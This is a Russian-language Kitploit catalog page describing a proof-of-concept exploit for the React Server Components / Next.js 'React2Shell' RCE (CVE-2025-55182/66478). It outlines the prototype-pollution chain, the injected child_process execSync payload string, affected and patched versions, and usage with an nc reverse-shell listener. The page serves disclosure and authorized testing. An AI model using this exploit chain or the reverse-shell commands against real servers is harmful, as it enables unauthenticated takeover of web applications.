Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-66478-PoC-Reverse-Shell — Эксплойт класса proof-of-concept для CVE-2025-55182/66478 — десериализация React Server Components с удалённым выполнением кода (RCE), доставляющая reverse shell через специально сформированный multipart-запрос. | Kitploit
Инструменты/GitHubGitHub/jotaespig/cve-2025-66478-poc-reverse-shell
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubjotaespig/cve-2025-66478-poc-reverse-shell

CVE-2025-66478-PoC-Reverse-Shell

Эксплойт класса proof-of-concept для CVE-2025-55182/66478 — десериализация React Server Components с удалённым выполнением кода (RCE), доставляющая reverse shell через специально сформированный multipart-запрос.

Репозиторий
19 ч 10 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-66478 / CVE-2025-55182 («React2Shell») — RCE через десериализацию Server Actions в RSC

PoC-эксплойт для CVE-2025-55182 — публично известной как «React2Shell» — серверной уязвимости prototype pollution в десериализации Server Actions в React Server Components (react-server-dom-webpack / -parcel / -turbopack), которую Next.js отслеживал под идентификатором CVE-2025-66478 (отклонён NVD как дубликат, но именно этот идентификатор обычно используется при обсуждении влияния уязвимости на Next.js).

Один специально сформированный multipart HTTP-запрос загрязняет Object.prototype и проходит по цепочке прототипов, чтобы добраться до конструктора Function, позволяя неаутентифицированному атакующему выполнить произвольный Node.js-код в серверном процессе — CVSS 10/10.

Детали уязвимости

Корневая причина. Десериализатор ответов действий RSC (requireModule) разрешает пути к объектам, отправленные клиентом (например, ), без проверки того, что целевой ключ не является зарезервированным/опасным, например . Установка на обычном объекте загрязняет сам , поэтому каждый созданный впоследствии объект наследует контролируемое атакующим свойство.

"$1:__proto__:then"
__proto__
__proto__
Object.prototype

Цепочка эксплуатации.

  1. then → "$1:__proto__:then" — проникновение в цепочку прототипов.
  2. _response._formData.get → "$1:constructor:constructor" — переход от загрязнённого прототипа к конструктору Function.
  3. _response._prefix — контролируемая атакующим строка, вставляемая в код, который выполняется, когда сервер пытается разрешить сфабрикованный «thenable» (поддельный объект, подобный Promise). Этот PoC устанавливает её в process.mainModule.require('child_process').execSync('<cmd>').
  4. Полезная нагрузка отправляется как два multipart-поля (0, 1) в POST на корень приложения с заголовком Next-Action, который направляет запрос прямо в уязвимый обработчик Server Actions.

Затронутые версии (согласно отчёту Datadog):

БиблиотекаУязвимыеИсправленные
react-server-dom-parcel19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-webpack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1

Next.js затронут в версиях 15.x, 16.x и 14.3.0-canary.77+ при использовании App Router. Исправлено в 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 и 16.0.7.

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных целей (например, лаборатории CTF/HTB, собственная инфраструктура или работы с письменным разрешением). Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Требования

  • curl
  • bash
  • Слушатель на машине атакующего (например, nc -lvnp <port>), если вы не укажете собственную команду через -c
  • На цели должен быть установлен busybox nc (или измените -c на любую доступную на цели shell-утилиту), чтобы работала стандартная команда reverse shell

Использование

root@kitploit:~
chmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
ФлагОбязательныйОписание
-t, --targetдаХост/IP цели, на котором запущено уязвимое приложение Next.js
-L, --lportда*Локальный порт, на котором слушает ваш слушатель
-p, --portнетПорт цели (по умолчанию: 3000)
-l, --lhostнетВаш IP для обратного вызова (по умолчанию: определяется автоматически)
-i, --ifaceнетИнтерфейс для автоматического определения --lhost
-c, --commandнетПользовательская команда для выполнения на цели (переопределяет стандартный reverse shell)
--timeoutнетТаймаут запроса curl в секундах (по умолчанию: 3)
-v, --verboseнетВывод деталей запроса/ответа
-h, --helpнетПоказать справку

* не требуется, если вместо этого указан -c/--command.

Пример

root@kitploit:~
# 1) запустите слушатель
rlwrap nc -lvnp 9090

# 2) запустите эксплойт
./exploit.sh -t 10.129.245.214 -L 9090

Ссылки

  • CVE-2025-55182 «React2Shell»: удалённое выполнение кода в React Server Components — Datadog Security Labs
Скачать инструмент